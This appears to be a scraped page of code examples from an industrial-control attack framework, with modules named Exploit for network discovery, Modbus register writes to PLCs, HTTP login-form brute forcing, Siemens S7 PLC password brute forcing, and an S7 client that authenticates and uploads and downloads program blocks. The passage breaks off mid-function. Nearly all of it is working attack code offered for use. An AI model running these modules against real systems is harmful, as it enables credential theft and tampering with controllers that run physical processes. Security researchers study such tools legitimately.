コード例 #1
0
class TestExploitWithValidators(Exploit):
    doo = Option(default="default_value",
                 description="description_three",
                 validators=suffix)
    paa = Option(default="default_value",
                 description="description_three",
                 validators=(suffix, SUFFIX))
コード例 #2
0
class Exploit(Exploit):
    __info__ = {
        'name': 'discovery/safe',
        'display_name': 'Safe ARP Host Discovery',
        'authors': [
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'description': 'Safe host discovery using ARP Scan.',
        'references': [
            '',
        ],
        'devices': [
            'Multi'
        ],
    }

    result = []
    target = Option('192.168.1.0/24', "String for hosts as nmap use it 'scanme.nmap.org'"
                                      " or '198.116.0-255.1-127' or '216.163.128.20/20'", validators=Validators.ipv4)
    speed = Option(2, "Nmap Scan Speed [1-5]. Low values are recommended. High values could be disrupting.",
                   validators=Validators.integer)

    def run(self):
        try:
            arguments = "-T{s} -n -PR -sn "
            nm = nmap.PortScanner()
            nm.scan(hosts=self.target, arguments=arguments.format(s=self.speed))
            for host in nm.all_hosts():
                try:
                    ipv4 = nm[host]['addresses']['ipv4']
                    mac = nm[host]['addresses']['mac']
                    vendor = nm[host]['vendor'][mac]
                except Exception as e:
                    if 'mac' in str(e):
                        mac = 'Unknown'
                        vendor = 'Unknown'
                    if 'vendor' in str(e):
                        vendor = 'Unknown'
                finally:
                    self.result.append([ipv4, mac, vendor])
                    ipv4 = ""
                    mac = ""
                    vendor = ""
            unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
            unique_device = sorted(unique_device, key=lambda x: (x[0], x[1]))
            if len(self.result) > 0:
                print_success("Found %s devices." % len(self.result))
                printTable(TABLE_HEADER, *unique_device, **{'max_column_length': 50})
                print('\r')
                self.result = []
            else:
                print_error("Didn't find any device on network %s" % self.target)
        except:
            print_error("Discovery Error. Aborting.")
class Exploit(Exploit):
    """ Exploit template. """
    __info__ = {
        'name': '',
        'display_name': '',
        'authors': [
            '',
            '',
        ],
        'description': '',
        'references': [
            '',
        ],
        'devices': [
            '',
        ],
    }

    target = Option('', 'Target address e.g. http://192.168.1.1', validators=Validators.url)
    port = Option(80, 'Target Port')

    def run(self):
        pass
class Exploit(Exploit):
    __info__ = {
        'name': 'exploits/modbus-cli',
        'display_name': 'Modbus-cli',
        'authors': [
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'description': 'Modbus-cli commands.',
        'references': [
            'https://github.com/tallakt/modbus-cli',
        ],
        'devices': [
            'Schneider',
            'Modicon',
        ],
    }

    target = Option('192.168.1.1',
                    'Target address.',
                    validators=Validators.ipv4)
    port = Option(502, 'Target Port', validators=Validators.integer)
    mode = Option('read', 'Action: read or write.')
    value = Option('1', 'Value to be wrote (Only in Write mode).')
    address = Option(
        '%MW100',
        'Target Register Address (Schneider-like and Modicon-like addresses)')
    limit = Option('100', 'Register Limit')

    def run(self):
        if self.mode is 'read':
            self.read()
        elif self.mode is 'write':
            self.write()
        else:
            print_error("Mode: " + self.mode + " doesn't exist.")

    def read(self):
        try:
            output = subprocess.check_output(
                ['modbus', 'read', self.target, self.address, self.limit],
                stderr=subprocess.STDOUT)
            for x in output.decode().split('\n'):
                if x is not "":
                    print_success(x)
        except:
            print_error("Connection Error. Aborting.")

    def write(self):
        try:
            print_status("Writing '" + self.value + "' in " + self.address +
                         ".")
            subprocess.call(
                ['modbus', 'write', self.target, self.address, self.value],
                stderr=subprocess.STDOUT)
            print_success("Executed successfully.")
        except:
            print_error("Connection Error. Aborting.")
class Exploit(Exploit):
    """
    Module performs bruteforce attack against HTTP form service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name':
        'credentials/http/form_bruteforce',
        'display_name':
        'HTTP Form Bruteforce',
        'description':
        'Module performs bruteforce attack against HTTP form service. '
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'references': [
            'https://github.com/dark-lbp/isf',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = Option('192.168.1.1',
                    'Target IP address or file with target:port (file://)')
    port = Option(80, 'Target port')
    threads = Option(8, 'Number of threads')
    usernames = Option('admin', 'Username or file with usernames (file://)')
    passwords = Option(Wordlists.passwords,
                       'Password or file with passwords (file://)')
    form = Option(
        'auto',
        'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
    path = Option('/login.php', 'URL Path')
    form_path = Option('same', 'same as path or URL Form Path')
    verbosity = Option('yes', 'Display authentication attempts')
    stop_on_success = Option('yes',
                             'Stop on first valid authentication attempt')

    credentials = []
    data = ""
    invalid = {"min": 0, "max": 0}

    def run(self):
        self.credentials = []
        self.attack()

    def get_form_path(self):
        if self.form_path == 'same':
            return self.path
        else:
            return self.form_path

    @multi
    def attack(self):
        url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                            self.get_form_path()))

        try:
            requests.get(url, verify=False)
        except (requests.exceptions.MissingSchema,
                requests.exceptions.InvalidSchema):
            print_error("Invalid URL format: %s" % url)
            return
        except requests.exceptions.ConnectionError:
            print_error("Connection error: %s" % url)
            return

        # authentication type
        if self.form == 'auto':
            form_data = self.detect_form()

            if form_data is None:
                print_error("Could not detect form")
                return

            (form_action, self.data) = form_data
            if form_action:
                self.path = form_action
        else:
            self.data = self.form

        print_status("Using following data: ", self.data)

        # invalid authentication
        self.invalid_auth()

        # running threads
        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = LockedIterator(itertools.product(usernames, passwords))
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            printTable(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def invalid_auth(self):
        for i in range(0, 21, 5):
            url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                                self.path))
            headers = {u'Content-Type': u'application/x-www-form-urlencoded'}

            user = "******" * i
            password = "******" * i

            postdata = self.data.replace("{{USER}}",
                                         user).replace("{{PASS}}", password)
            r = requests.post(url,
                              headers=headers,
                              data=postdata,
                              verify=False)
            l = len(r.text)

            if i == 0:
                self.invalid = {"min": l, "max": l}

            if l < self.invalid["min"]:
                self.invalid["min"] = l
            elif l > self.invalid["max"]:
                self.invalid["max"] = l

    def detect_form(self):
        url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                            self.get_form_path()))
        r = requests.get(url, verify=False)
        soup = BeautifulSoup(r.text, "lxml")

        forms = soup.findAll("form")

        if forms is None:
            return None

        res = []
        action = None
        user_name_list = [
            "username", "user", "user_name", "login", "username_login",
            "nameinput", "uname", "__auth_user", "txt_user", "txtusername"
        ]
        password_list = [
            "password", "pass", "password_login", "pwd", "passwd",
            "__auth_pass", "txt_pwd", "txtpwd"
        ]
        found = False

        for form in forms:
            tmp = []

            if not len(form):
                continue

            action = form.attrs.get('action', None)
            if action and not action.startswith("/"):
                action = "/" + action

            for inp in form.findAll("input"):
                attributes = ["name", "id"]

                for atr in attributes:
                    if atr not in inp.attrs.keys():
                        continue

                    if inp.attrs[atr].lower(
                    ) in user_name_list and inp.attrs['type'] != "hidden":
                        found = True
                        tmp.append(inp.attrs[atr] + "=" + "{{USER}}")
                    elif inp.attrs[atr].lower(
                    ) in password_list and inp.attrs['type'] != "hidden":
                        found = True
                        tmp.append(inp.attrs[atr] + "=" + "{{PASS}}")
                    else:
                        if 'value' in inp.attrs.keys():
                            tmp.append(inp.attrs[atr] + "=" +
                                       inp.attrs['value'])
                        elif inp.attrs['type'] not in ("submit", "button"):
                            tmp.append(inp.attrs[atr] + "=")

                if found:
                    res = tmp

        res = list(set(res))
        return action, '&'.join(res)

    def target_function(self, running, data):
        module_verbosity = Validators.boolify(self.verbosity)
        name = threading.current_thread().name
        url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
        headers = {u'Content-Type': u'application/x-www-form-urlencoded'}

        print_status(name, 'process is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                user, password = data.next()
                user = user.strip()
                password = password.strip()

                postdata = self.data.replace("{{USER}}", user).replace(
                    "{{PASS}}", password)
                r = requests.post(url,
                                  headers=headers,
                                  data=postdata,
                                  verify=False)
                l = len(r.text)

                if l < self.invalid["min"] or l > self.invalid["max"]:
                    if Validators.boolify(self.stop_on_success):
                        running.clear()

                    print_success(
                        "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
                    self.credentials.append(
                        (self.target, self.port, user, password))
                else:
                    print_error(
                        name,
                        "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
            except StopIteration:
                break

        print_status(name, 'process is terminated.', verbose=module_verbosity)
コード例 #6
0
class TestExploitBar(Exploit):
    doo = Option(default=3, description="description_three")
    paa = Option(default=4, description="description_four")
コード例 #7
0
class TestExploitFoo(Exploit):
    doo = Option(default=1, description="description_one")
    paa = Option(default=2, description="description_two")
コード例 #8
0
class Exploit(Exploit):
    __info__ = {
        'name': 'scanners/modbus',
        'display_name': 'Modbus Device Scanner',
        'authors': [
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'description': 'Scan all device which support Modbus protocol.',
        'references': [
        ],
        'devices': [
            'Multi',
        ],
    }

    target = Option('', "String for hosts as nmap use it 'scanme.nmap.org'"
                                 " or '198.116.0-255.1-127' or '216.163.128.20/20'")
    port = Option(502, 'Modbus port, default is 502/TCP', validators=Validators.integer)
    verbose = Option(0, 'Scapy verbose level, 0 to 2', validators=Validators.integer)
    max_slot = Option(5, 'Maximum PLC Slot number for scan, default is 5, set to 10 '
                                  'if you want scan up to slot 10', validators=Validators.integer)
    output_file = Option('', "output file path")
    result = []

    def get_target_info(self, host, port):
        product_name = ''
        device_type = ''
        vendor = ''
        revision = ''
        serial_number = ''
        slot = ''
        ip_address = host
        target = ModbusClient()
        target.connect(host, port)
        for slot_num in range(self.max_slot + 1):
                print_status("Tring to scan %s with Slot%s" % (host, slot_num))
                try:
                    product_name, device_type, vendor, revision, serial_number = \
                    target.get_target_info(port_segment=slot_num)
                    print(product_name, device_type, vendor, revision, serial_number)
                    slot = slot_num
                    ip_address = host
                    if serial_number != '':
                        self.result.append([product_name, device_type, vendor, revision, serial_number,
                                            str(slot), ip_address])
                except Exception as err:
                    print_error(err)
                    return False

    def run(self):
        self.result = []
        #conf.verb = self.verbose
        nm = port_scan(protocol='TCP', target=self.target, port=self.port)
        for host in nm.all_hosts():
            if nm[host]['tcp'][self.port]['state'] == "open":
                print_success("Host: %s, port:%s is open" % (host, self.port))
                self.get_target_info(host=host, port=self.port)
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        unique_device = sorted(unique_device, key=lambda x: (x[5], x[6]))

        if len(self.result) > 0:
            print_success("Find %s targets" % len(self.result))
            printTable(TABLE_HEADER, *unique_device, **{'max_column_length': 20})
            print('\r')
        else:
            print_error("Didn't find any target on network %s" % self.target)

    def command_export(self, file_path, *args, **kwargs):
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        unique_device = sorted(unique_device, key=lambda x: (x[5], x[6]))
        export_table(file_path, TABLE_HEADER, unique_device)
コード例 #9
0
class Exploit(Exploit):
    __info__ = {
        'name': 'credentials/s7/bruteforce',
        'display_name': 'S7 PLC Password Bruteforce',
        'description': 'Module performs bruteforce attack against S7 300/400 Device. '
                       'If valid password string is found, it is displayed to the user.',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>',
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'references': [
            'https://github.com/dark-lbp/isf',
        ],
        'devices': [
            'Siemens S7-300',
            'Siemens S7-400'
        ],
    }

    target = Option('192.168.1.1', 'Target address.', validators=Validators.ipv4)
    port = Option(102, 'Target port.', validators=Validators.integer)
    rack = Option(0, 'CPU rack number.', validators=Validators.integer)
    slot = Option(2, 'CPU slot number.', validators=Validators.integer)
    password = Option(Wordlists.passwords, 'password string or file with community strings (file://)')
    threads = Option(3, 'Number of threads.')
    verbose = Option(0, 'Verbose scapy output. 1: display, 0: hide', validators=Validators.choice([0, 1]))
    stop_on_success = Option('yes', 'Stop on first valid community string')

    strings = []

    def run(self):
        conf.verb = int(self.verbose)
        self.strings = []
        self.attack()

    @multi
    def attack(self):
        # todo: check if service is up
        if self.password.startswith('file://'):
            s7_pass = open(self.password[7:], 'r')
        else:
            s7_pass = [self.password]

        collection = LockedIterator(s7_pass)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = ("Target", "Port", "password")
            printTable(headers, *self.strings)
        else:
            print_error("Valid password not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbose)
        name = threading.current_thread().name

        print_status(name, 'thread is starting...', verbose=module_verbosity)
        s7_client = S7Client()
        s7_client.connect()
        if not module_verbosity:
            s7_client.logger.setLevel(50)
        while running.is_set():
            try:
                string = data.next().strip()
                if len(string) > 8:
                    continue
                s7_client.check_privilege()
                if s7_client.protect_level == 1:
                    print_error("Target didn't set password.")
                    return
                s7_client.auth(string)
                if s7_client.authorized:
                    if boolify(self.stop_on_success):
                        running.clear()
                    print_success("Target: {}:{} {}: Valid password string found - String: '{}'".format(
                        self.target, self.port, name, string), verbose=module_verbosity)
                    self.strings.append((self.target, self.port, string))

                else:
                    print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(
                        self.target, self.port, name, string), verbose=module_verbosity)

            except StopIteration:
                break

        print_status(name, 'thread is terminated.', verbose=module_verbosity)
class Exploit(Base):
    __info__ = {
        'name': 'clients/s7',
        'display_name': 'Modbus Client',
        'description': '',
        'authors': [
            'D0ubl3G <d0ubl3g[at]protonmail.com>',
        ],
        'references': [
            '',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = Option('', 'Target IP address')
    port = Option(102, 'Target port')
    src_tsap = Option(str('\x01\x00'), 'Source tsap')
    rack = Option(0, 'Rack')
    slot = Option(2, 'Slot')
    dst_tsap = Option(
        str('\x01') +
        str(struct.pack('B', rack.default * 0x20 + slot.default)),
        "Dest Tsap. Do not change.")
    timeout = Option(2, 'Connection timeout')

    def __init__(self):
        super(Exploit, self).__init__(name='S7 Client')
        self._pdur = 1
        self.protect_level = None
        self._connection = None
        self._connected = False
        self._pdu_length = 480
        self.readable = False
        self.writeable = False
        self.authorized = False
        self._password = None
        self._mmc_password = None
        self.is_running = False

    def run(self):
        self.connect()

    def connect(self):
        sock = socket.socket()
        sock.settimeout(self.timeout)
        sock.connect((self.target, self.port))
        self._connection = StreamSocket(sock, Raw)
        packet1 = TPKT() / COTPCR()
        packet1.Parameters = [COTPOption() for i in range(3)]
        packet1.PDUType = "CR"
        packet1.Parameters[0].ParameterCode = "tpdu-size"
        packet1.Parameters[0].Parameter = "\x0a"
        packet1.Parameters[1].ParameterCode = "src-tsap"
        packet1.Parameters[2].ParameterCode = "dst-tsap"
        packet1.Parameters[1].Parameter = self.src_tsap
        packet1.Parameters[2].Parameter = self.dst_tsap
        self.send_receive_packet(packet1)
        packet2 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job", Parameters=S7SetConParameter())
        rsp2 = self.send_receive_s7_packet(packet2)
        if rsp2:
            self._connected = True
        # Todo: Need get pdu length from rsp2

    def _get_cpu_protect_level(self):
        packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="UserData",
            Parameters=S7ReadSZLParameterReq(),
            Data=S7ReadSZLDataReq(SZLId=0x0232, SZLIndex=0x0004))
        rsp = self.send_receive_s7_packet(packet1)
        self.protect_level = int(str(rsp)[48].encode('hex'))
        self.logger.info("CPU protect level is %s" % self.protect_level)

    def get_target_info(self):
        order_code = ''
        version = ''
        module_type_name = ''
        as_name = ''
        module_name = ''
        serial_number = ''
        packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="UserData",
            Parameters=S7ReadSZLParameterReq(),
            Data=S7ReadSZLDataReq(SZLId=0x0011, SZLIndex=0x0000))
        rsp1 = self.send_receive_s7_packet(packet1)
        try:
            order_code_data = rsp1[
                S7ReadSZLDataTreeRsp].Data[:rsp1[S7ReadSZLDataRsp].SZLLength]
            order_code = order_code_data[2:-7]
            version_data = rsp1[S7ReadSZLDataTreeRsp].Data[-3:]
            version = 'V {:x}.{:x}.{:x}'.format(
                int(version_data[0].encode('hex'), 16),
                int(version_data[1].encode('hex'), 16),
                int(version_data[2].encode('hex'), 16),
            )

        except Exception as err:
            self.logger.error("Can't get order code and version from target")
            return order_code, version, module_type_name, as_name, module_name, serial_number

        packet2 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="UserData",
            Parameters=S7ReadSZLParameterReq(),
            Data=S7ReadSZLDataReq(SZLId=0x001c, SZLIndex=0x0000))
        rsp2 = self.send_receive_s7_packet(packet2)
        try:
            module_name_data = rsp2[S7ReadSZLDataTreeRsp].Data[
                rsp2[S7ReadSZLDataRsp].SZLLength +
                2:rsp2[S7ReadSZLDataRsp].SZLLength * 2]
            module_name = str(
                module_name_data[:module_name_data.index('\x00')])
            self.logger.debug("module_name:%s " % module_name)
            as_name_data = rsp2[S7ReadSZLDataTreeRsp].Data[
                2:rsp2[S7ReadSZLDataRsp].SZLLength]
            as_name = str(as_name_data[:as_name_data.index('\x00')])
            self.logger.debug("as_name:%s " % as_name)
            serial_number_data = rsp2[S7ReadSZLDataTreeRsp].Data[
                rsp2[S7ReadSZLDataRsp].SZLLength * 4 +
                2:rsp2[S7ReadSZLDataRsp].SZLLength * 5]
            serial_number = str(
                serial_number_data[:serial_number_data.index('\x00')])
            self.logger.debug("serial_number:%s " % serial_number)
            module_type_name_data = rsp2[S7ReadSZLDataTreeRsp].Data[
                rsp2[S7ReadSZLDataRsp].SZLLength * 5 +
                2:rsp2[S7ReadSZLDataRsp].SZLLength * 6]
            module_type_name = str(
                module_type_name_data[:module_type_name_data.index('\x00')])
            self.logger.debug("module_type_name:%s " % module_type_name)

        except Exception as err:
            self.logger.error("Can't get module info from target")
            return order_code, version, module_type_name, as_name, module_name, serial_number

        return order_code, version, module_type_name, as_name, module_name, serial_number

    def check_privilege(self):
        self._get_cpu_protect_level()
        if self.protect_level == 1:
            self.logger.info("You have full privilege with this targets")
            self.readable = True
            self.writeable = True
        if self.protect_level == 2:
            if self.authorized is True:
                self.logger.info("You have full privilege with this targets")
                self.readable = True
                self.writeable = True
            else:
                self.logger.info(
                    "You only have read privilege with this targets")
                self.readable = True
                self.writeable = False
        if self.protect_level == 3:
            if self.authorized is True:
                self.logger.info("You have full privilege with this targets")
                self.readable = True
                self.writeable = True
            else:
                self.logger.info("You can't read or write with this targets")
                self.readable = False
                self.writeable = False

    def auth(self, password):
        """

        :param password: Paintext PLC password.
        """
        self.logger.info("Start authenticate with password %s" % password)
        password_hash = self._hash_password(password)
        packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="UserData",
            Parameters=S7PasswordParameterReq(),
            Data=S7PasswordDataReq(Data=password_hash))
        rsp1 = self.send_receive_s7_packet(packet1)
        if rsp1.haslayer(S7PasswordParameterRsp):
            if rsp1[S7PasswordParameterRsp].ErrorCode == 0:
                self.authorized = True
                self.logger.info("Authentication succeed")
            else:
                if self.authorized is True:
                    self.logger.info("Already authorized")
                else:
                    error_code = rsp1[S7PasswordParameterRsp].ErrorCode
                    if error_code in S7_ERROR_CLASS.keys():
                        self.logger.error("Got error code: %s" %
                                          S7_ERROR_CLASS[error_code])
                    else:
                        self.logger.error("Get error code: %s" %
                                          hex(error_code))
                    self.logger.error("Authentication failure")
            self.check_privilege()
        else:
            self.logger.info(
                "Receive unknown format packet, authentication failure")

    def clean_session(self):
        self.logger.info("Start clean the session")
        packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="UserData",
            Parameters=S7CleanSessionParameterReq(),
            Data=S7CleanSessionDataReq())
        rsp1 = self.send_receive_s7_packet(packet1)
        if rsp1.haslayer(S7CleanSessionParameterRsp):
            if rsp1[S7CleanSessionParameterRsp].ErrorCode == 0:
                self.authorized = False
                self.logger.info("session cleaned")
            else:
                error_code = rsp1[S7CleanSessionParameterRsp].ErrorCode
                if error_code in S7_ERROR_CLASS.keys():
                    self.logger.error("Got error code: %s" %
                                      S7_ERROR_CLASS[error_code])
                else:
                    self.logger.error("Get error code: %s" % hex(error_code))
        else:
            self.logger.info(
                "Receive unknown format packet, authentication failure")

    def _hash_password(self, password):
        password_hash_new = ''
        if len(password) < 1 or len(password) > 8:
            self.logger.error("Password length must between 1 to 8")
            return None
        else:
            password += bytes.fromhex('20') * (8 - len(password))
            for i in range(8):
                if i < 2:
                    temp_data = ord(password[i])
                    temp_data ^= 0x55
                    password_hash_new += str(chr(temp_data))
                else:
                    temp_data1 = ord(password[i])
                    temp_data2 = ord(password_hash_new[i - 2])
                    temp_data1 = temp_data1 ^ 0x55 ^ temp_data2
                    password_hash_new += str(chr(temp_data1))
            return password_hash_new

    def _fix_pdur(self, payload):
        if self._pdur > 65535:
            self._pdur = 1
        try:
            payload.PDUR = self._pdur
            self._pdur += 1
            return payload
        except Exception as err:
            self.logger.error(err)
            return payload

    def send_packet(self, packet):
        if self._connection:
            try:
                self._connection.send(packet)

            except Exception as err:
                self.logger.error(err)
                return None

        else:
            self.logger.error("Please create connect before send packet!")

    def send_receive_packet(self, packet):
        if self._connection:
            try:
                rsp = self._connection.sr1(packet, timeout=self.timeout)
                return rsp

            except Exception as err:
                self.logger.error(err)
                return None

        else:
            self.logger.error("Please create connect before send packet!")

    def receive_packet(self):
        if self._connection:
            try:
                rsp = self._connection.recv()
                return rsp

            except Exception as err:
                self.logger.error(err)
                return None

        else:
            self.logger.error("Please create connect before receive packet!")

    def send_s7_packet(self, packet):
        if self._connection:
            packet = self._fix_pdur(packet)
            try:
                self._connection.send(packet)

            except Exception as err:
                self.logger.error(err)
                return None

        else:
            self.logger.error("Please create connect before send packet!")

    def send_receive_s7_packet(self, packet):
        if self._connection:
            packet = self._fix_pdur(packet)
            try:
                rsp = self._connection.sr1(packet, timeout=self.timeout)
                if rsp:
                    rsp = TPKT(str(rsp))
                return rsp

            except Exception as err:
                self.logger.error(err)
                return None

        else:
            self.logger.error("Please create connect before send packet!")

    def receive_s7_packet(self):
        if self._connection:
            try:
                rsp = self._connection.recv()
                if rsp:
                    rsp = TPKT(str(rsp))
                return rsp

            except Exception as err:
                self.logger.error(err)
                return None
        else:
            self.logger.error("Please create connect before receive packet!")

    def upload_block_from_target(self, block_type, block_num, dist='A'):
        """

        :param block_type: "08": 'OB', "09": 'CMOD', "0A": 'DB', "0B": 'SDB', "0C": 'FC',
                            "0D": 'SFC', "0E": 'FB', "0F": 'SFB'
        :param block_num: Block number.
        :param dist: 'A': "Active embedded module", 'B': "Active as well as passive module",
                     'P': "Passive (copied, but not chained) module"
        :return: Block Data
        """
        if self.readable is False:
            self.logger.info("Didn't have read privilege on targets")
            return None
        block_data = ''
        if block_type in S7_BLOCK_TYPE_IN_FILE_NAME.keys():
            file_block_type = block_type
        else:
            for key, name in S7_BLOCK_TYPE_IN_FILE_NAME.items():
                if name == block_type:
                    file_block_type = key
                    break
            else:
                self.logger.error(
                    "block_type: %s is incorrect please check again" %
                    block_type)
                return

        if type(block_num) != int:
            self.logger.error("block_num must be int format.")
            return

        file_block_num = "{0:05d}".format(block_num)
        file_name = '_' + file_block_type + file_block_num + dist
        self.logger.info("Start upload %s%s from target" %
                         (block_type, block_num))
        packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job",
            Parameters=S7RequestUploadBlockParameterReq(Filename=file_name))
        rsp1 = self.send_receive_s7_packet(packet1)
        # Todo: Might got some error
        if rsp1.ErrorClass != 0x0:
            self.logger.error("Can't upload %s%s from target" %
                              (block_type, block_num))
            self.logger.error("Error Class: %s, Error Code %s" %
                              (rsp1.ErrorClass, rsp1.ErrorCode))
            return None
        packet2 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job", Parameters=S7UploadBlockParameterReq())
        packet2[S7UploadBlockParameterReq].UploadId = rsp1[
            S7RequestUploadBlockParameterRsp].UploadId
        while True:
            rsp2 = self.send_receive_s7_packet(packet2)
            if rsp2.ErrorClass != 0x0:
                self.logger.error("Can't upload %s%s from targets" %
                                  (block_type, block_num))
                self.logger.error("Error Class: %s, Error Code %s" %
                                  (rsp1.ErrorClass, rsp1.ErrorCode))
                return None
            self.logger.debug("rsp2: %s" % str(rsp2).encode('hex'))
            block_data += rsp2.Data.Data
            if rsp2.Parameters.FunctionStatus != 1:
                break
        packet3 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job", Parameters=S7UploadBlockEndParameterReq())
        self.send_receive_s7_packet(packet3)
        self.logger.info("Upload %s%s from target succeed" %
                         (block_type, block_num))
        return block_data

    def get_info_from_block(self, block_data):
        """

        :param block_data: Block data.
        :return: mem_length, mc7_length, block_type, block_num
        """
        try:
            mem_length = struct.unpack('!i', block_data[8:12])[0]
            mc7_length = struct.unpack('!h', block_data[34:36])[0]
            block_type = S7_BLOCK_TYPE_IN_BLOCK[ord(block_data[5])]
            block_num = struct.unpack('!h', block_data[6:8])[0]
            return mem_length, mc7_length, block_type, block_num

        except Exception as err:
            self.logger.error(err)
            return None

    def download_block_to_target(self,
                                 block_data,
                                 dist='P',
                                 transfer_size=462,
                                 stop_target=False):
        """ Download block to target and active block.

        :param block_data: Block data to download.
        :param dist: 'A': "Active embedded module", 'B': "Active as well as passive module",
                     'P': "Passive (copied, but not chained) module".
        :param transfer_size: Transfer size for each packet.
        :param stop_target: Stop target PLC before download block, True or False.
        """
        if self.writeable is False:
            self.logger.info("Didn't have write privilege on targets")
            return None
        mem_length, mc7_length, block_type, block_num = self.get_info_from_block(
            block_data)
        self.logger.info("Start download %s%s to targets" %
                         (block_type, block_num))
        file_block_type = None
        for key, name in S7_BLOCK_TYPE_IN_FILE_NAME.items():
            if name == block_type:
                file_block_type = key
                break
        if not file_block_type:
            self.logger.error(
                "block_type: %s is incorrect please check again" % block_type)
            return

        file_block_num = "{0:05d}".format(block_num)
        file_name = '_' + file_block_type + file_block_num + dist

        load_memory_length = '0' * (6 - len(str(mem_length))) + str(mem_length)
        mc7_length = '0' * (6 - len(str(mc7_length))) + str(mc7_length)
        packet1 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job",
            Parameters=S7RequestDownloadParameterReq(
                Filename=file_name,
                LoadMemLength=load_memory_length,
                MC7Length=mc7_length))
        rsp1 = self.send_receive_s7_packet(packet1)
        if rsp1.ErrorClass != 0x0:
            self.logger.error("Can't Download %s%s to targets" %
                              (block_type, block_num))
            self.logger.error("Error Class: %s, Error Code %s" %
                              (rsp1.ErrorClass, rsp1.ErrorCode))
            return None

        if len(rsp1) > 20:
            download_req = TPKT(rsp1.load)
        else:
            download_req = self.receive_s7_packet()
        # Get pdur from download_req
        self._pdur = download_req.PDUR
        # DownloadBlock
        for i in range(0, len(block_data), transfer_size):
            if i + transfer_size <= len(block_data):
                packet2 = TPKT() / COTPDT(EOT=1) / S7Header(
                    ROSCTR="AckData",
                    Parameters=S7DownloadParameterRsp(FunctionStatus=1),
                    Data=S7DownloadDataRsp(Data=block_data[i:i +
                                                           transfer_size]))
                rsp2 = self.send_receive_s7_packet(packet2)
                self._pdur = rsp2.PDUR
            else:
                packet2 = TPKT() / COTPDT(EOT=1) / S7Header(
                    ROSCTR="AckData",
                    Parameters=S7DownloadParameterRsp(FunctionStatus=0),
                    Data=S7DownloadDataRsp(Data=block_data[i:i +
                                                           transfer_size]))
                self.send_s7_packet(packet2)
        # DownloadBlockEnd
        download_end_req = self.receive_s7_packet()
        self._pdur = download_end_req.PDUR
        packet3 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="AckData", Parameters=S7DownloadEndParameterRsp())
        self.send_s7_packet(packet3)
        # Insert block
        self.logger.debug("File_name:%s" % ('\x00' + file_name[1:]))
        packet4 = TPKT() / COTPDT(EOT=1) / S7Header(
            ROSCTR="Job",
            Parameters=S7PIServiceParameterReq(
                ParameterBlock=S7PIServiceParameterBlock(
                    FileNames=['\x00' + file_name[1:]]),
                PI="_INSE"))
        # Todo: Might have a better way to do this
        # packet4[S7PIServiceParameterReq].ParameterBlock = S7PIServiceParameterBlock(FileNames=[file_name[1:]])
        rsp4 = self.send_receive_s7_packet(packet4)
        if rsp4.ErrorClass != 0x0:
            self.logger.error("Can't insert %s%s to targets" %
                              (block_type, block_num))
            self.logger.error("Error Class: %s, Error Code %s" %
                              (rsp1.ErrorClass, rsp1.ErrorCode))
            return None
        self.logger.info("Download %s%s to target succeed" %
                         (block_type, block_num))

    def download_block_to_target_only(self,
                                      block_data,
                                      dist='P',
                                      transfer_size=462,
                                      stop_target=False):
        """ Download block to target only (didn't active block).

        :param block_data: Block data to download.
        :param dist: 'A': "Active embedded module", 'B': "Active as well as passive module",
                     'P': "Passive (copied, but not chained) module".
        :param transfer_size: Transfer size for each packet.
        :param stop_target: Stop target PLC before download block, True or False.
        """
        if self.writeable is False:
            self.logger.info("Didn't have write privilege on targets")
            return None
        mem_length, mc7_length, block_type, block_num = self.get_info_from_block(
            block_data)
        self.logger.info("Start download %s%s to targets" %
                         (block_type, block_num))
        file_block_type = None
        for key, name in S7_BLOCK_TYPE_IN_FILE_NAME.items():
            if name == block_type:
                file_block_type = key
                break
        if not file_block_type:
            self.logger.error(
                "block_type: %s is incorrect please check again" % block_type)
            return

        file_block_num = "{0:05d}".format(block_num)
